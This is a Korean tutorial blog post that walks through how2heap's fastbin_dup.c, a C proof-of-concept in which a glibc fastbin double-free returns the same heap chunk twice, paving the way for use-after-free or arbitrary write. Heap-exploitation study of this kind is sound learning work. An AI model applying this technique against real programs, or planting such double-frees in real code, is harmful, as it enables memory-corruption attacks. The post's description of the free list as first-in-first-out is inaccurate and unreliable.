[Hacking] / [Pwnable - How2Heap] Heap exploitation : fastbin_dup.c

2025. 5. 11. 14:11Hacking/Pwnable

원본 문서 : https://github.com/shellphish/how2heap/tree/master

 

GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

A repository for learning various heap exploitation techniques. - shellphish/how2heap

github.com


fastbin_dup.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

원문 코드는 위와 같고

	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

-> 이 파일은 fastbin 영역에서 발생하는 double free 취약점을 보여주는 예제입니다.

-> stdout 버퍼링을 비활성화하여 printf() 출력이 바로 나오도록 설정.

- 크기 8바이트(실제는 정렬되어 0x20 크기 할당)의 chunk 8개 할당함

=> chunk들은 tcache에 저장 가능한 크기이므로 일반적으로 tcache가 먼저 사용됨.

앞에서 할당한 8개 중 7개만 free => 결과적으로 tcache에 7개가 채워지는데 이 크기 bin은 더 이상 tcache에 못 들어가고 8번째 chunk(ptrs[7])는 아직 살아있고, ptrs[0]~ptrs[6]은 tcache로 들어감

 

 

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);​

=> fastbin 구조의 특성을 이용하며, glibc의 double-free 보호 메커니즘을 우회하는 의도

우선 버퍼 할당을 함

int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

- calloc(1, 8) = malloc(8) + memset(0)

- 총 8바이트짜리 메모리 블럭 3개 할당

=> 이 크기는 glibc에서 tcache 또는 fastbin 대상으로 들어감(glibc 2.27+에서는 기본적으로 tcache 우선)

printf("1st calloc(1, 8): %p\n", a);

포인터 주소를 확인한다. 버그 재현시 주소 비교를 쉽게 하기 위함.

free(a);

-> a는 처음으로 free 되었으므로 현재 free list(예: tcache또는 fastbin)의 맨 앞에 위치함

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

 

-> glibc의 double-free 보호 기능은 같은 주소가 free list의 맨 위에 있을 때 다시 free()하면 crash 또는 abort를 발생시킴

=> 바로 free(a)를 한 번 더 하면 glibc가 감지해서 종료됨

 

 

보호 우회를 시행함

free(b);

 

- b를 free함으로써 free list의 맨 위(head)를 변경함

- a는 free list에서 두 번째 위치가 됨

free(a);

 

- glibc가 감지를 못 하고 double-free가 허용됨

=> 취약점 발생 : a가 free list에 2번 삽입됨 

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

 

하나씩 보면,

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);

- %p 순서 : a, b, a, a

=> 현재 free list의 순서는 [a, b, a](동일한 주소 a가 리스트 내에 두 번 존재함)

- double free가 발생했을 때 나타나는 비정상적인 상태임

a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);

 

- malloc() 3번 -> free list에서 3개 꺼내옴

malloc()은 순서대로 값을 꺼내온다(heap 구조를 떠올려보자 선입선출 구조임)

첫 번째 malloc() -> a 반환

두 번째 malloc() -> b 반환

세 번째 malloc() -> 다시 a를 반환함

=> 동일한 주소 a가 두 번 할당되었으니 heap corruption이 발생함

출력문에 따라 출력하면 아래와 같은 출력이 나올 수 있음

1st calloc(1, 8): 0x555555559260
2nd calloc(1, 8): 0x555555559280
3rd calloc(1, 8): 0x555555559260  ← 다시 a!

주소 a가 이렇게 두 번 나온다.

assert(a == c);

- 이건 보안 취약점 검증용 assert로 실제로 a==c가 성립하면 same chunk가 두 번 할당된 상태이고, a를 free후 c를 쓰면 use-after-free가 됨 또는 둘 중 하나에 포인터를 덮어쓰면 -> arbitrary write가 됨